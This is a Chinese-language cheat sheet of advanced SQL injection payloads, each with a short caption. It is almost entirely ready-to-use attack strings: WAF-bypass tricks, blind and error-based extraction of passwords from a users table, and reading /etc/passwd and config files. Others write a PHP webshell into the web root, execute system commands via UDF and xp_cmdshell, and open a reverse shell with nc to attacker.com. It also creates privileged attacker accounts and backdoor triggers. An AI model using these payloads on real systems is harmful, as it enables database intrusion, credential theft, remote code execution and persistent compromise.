中高级SQL注入语句

中高级SQL注入语句

一、绕过WAF/过滤

' UNiON/**/SeLeCT/**/1,2,3--

注释符绕过空格过滤


' AND/**/1=0/**/UNION/**/SELECT/**/1,2,3--

混合注释符和大小写绕过


'/*!50000UNION*//*!50000SELECT*/1,2,3--

MySQL版本号注释绕过


' AND~1+1=2--

位运算和算术运算绕过


' XOR (SELECT 1 FROM (SELECT SLEEP(5))a)--

XOR运算和子查询结合


二、高级盲注技术

' AND (SELECT MID(@@version,1,1)='5')--

使用MID函数进行版本判断


' AND (SELECT ORD(MID((SELECT password FROM users LIMIT 1),1,1)))>50--

ORD函数逐字符猜解


' AND (SELECT BIN(ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1)))&1)--

二进制位运算盲注


' AND (SELECT POSITION('a' IN (SELECT password FROM users LIMIT 1)))>0--

POSITION函数盲注


' AND (SELECT CHAR_LENGTH((SELECT password FROM users LIMIT 1)))>5--

长度判断盲注


三、非常规报错注入

' AND GTID_SUBSET(CONCAT(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1)--

MySQL GTID函数报错注入


' AND ST_LatFromGeoHash((SELECT database()))--

地理空间函数报错注入


' AND NAME_CONST((SELECT password FROM users LIMIT 1),1)--

NAME_CONST函数报错注入


' AND (SELECT 1 FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))x)--

重复NAME_CONST报错


' AND EXP(~(SELECT*FROM(SELECT USER())a))--

指数函数溢出报错


四、堆叠查询高级利用

'; SET @sql=0x73656c6563742031; PREPARE stmt FROM @sql; EXECUTE stmt;--

十六进制编码的预处理语句


'; DELIMITER //; CREATE PROCEDURE test() BEGIN SELECT 1; END//; CALL test()//--

创建存储过程执行


'; HANDLER users OPEN; HANDLER users READ FIRST; HANDLER users CLOSE;--

使用HANDLER命令直接读取表


'; CREATE TEMPORARY TABLE temp AS SELECT * FROM users; SELECT * FROM temp;--

创建临时表中转数据


'; LOCK TABLES users READ; UNLOCK TABLES;--

表锁定操作


五、数据库特定高级技巧

MySQL

' UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0x00),(SELECT(@)FROM(users)WHERE(@)IN(@:=CONCAT(@,0x0a,username,0x3a,password))))a),3-- 变量赋值绕过SELECT限制


' AND (SELECT * FROM (SELECT NAME_CONST((SELECT password FROM users LIMIT 1),1),NAME_CONST((SELECT password FROM users LIMIT 1),1))x)--

重复列名报错


' UNION SELECT 1,LOAD_FILE(0x2f6574632f706173737764),3--

十六进制文件路径读取


' AND (SELECT BINARY(password) FROM users LIMIT 1)='admin'--

二进制精确匹配

---

PostgreSQL

'::text UNION SELECT 1,2,3--

类型转换绕过


' AND (SELECT array_to_string(array_agg(column_name),',') FROM information_schema.columns) LIKE '%pass%'--

数组聚合查询


' AND (SELECT convert_from(decode('YWRtaW4=','base64'),'utf-8'))='admin'--

Base64解码绕过


' AND (SELECT has_table_privilege('users','select'))--

权限检查盲注

---

Oracle

' AND (SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_name) FROM all_tab_columns) LIKE '%PASS%'-- LISTAGG函数数据聚合


' AND (SELECT DBMS_LOB.SUBSTR((SELECT password FROM users),1,1) FROM DUAL)='a'--

LOB对象处理


' AND (SELECT RAWTOHEX(UTL_RAW.CAST_TO_RAW((SELECT password FROM users))) FROM DUAL) LIKE '61%'--

RAW类型转换


六、文件操作高级技巧

' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3 INTO DUMPFILE '/tmp/config.txt'--

读取并导出文件


' UNION SELECT 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 INTO OUTFILE '/var/www/html/shell.php'--

十六进制写入Webshell


' AND (SELECT COUNT(*) FROM mysql.user WHERE file_priv='Y')>0--

检查文件权限


' UNION SELECT 1,hex(load_file('/etc/passwd')),3--

十六进制格式读取文件


七、系统命令执行

'; SELECT sys_eval('id')--

UDF系统命令执行


'; CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.so'; SELECT sys_exec('whoami')--

创建UDF执行命令


'; EXEC xp_cmdshell 'whoami'--

MSSQL命令执行


'; COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh attacker.com 4444'--

PostgreSQL反向shell


八、权限提升和持久化

'; GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password'--

创建高权限用户


; INSERT INTO mysql.func (name, ret, dl, type) VALUES ('sys_exec', 2, 'udf.so', 'function')--

插入UDF函数定义


'; CREATE TRIGGER backdoor BEFORE INSERT ON users FOR EACH ROW BEGIN SELECT 1; END--

创建后门触发器


'; UPDATE mysql.user SET plugin='mysql_native_password' WHERE user='root'--

修改认证插件


九、网络操作和信息收集

' AND (SELECT SUBSTRING_INDEX(USER(),'@',-1))='localhost'--

获取连接来源主机

' UNION SELECT 1,@@hostname,@@version_compile_os,4--

获取系统信息

'; SELECT * FROM information_schema.PROCESSLIST--

查看当前连接进程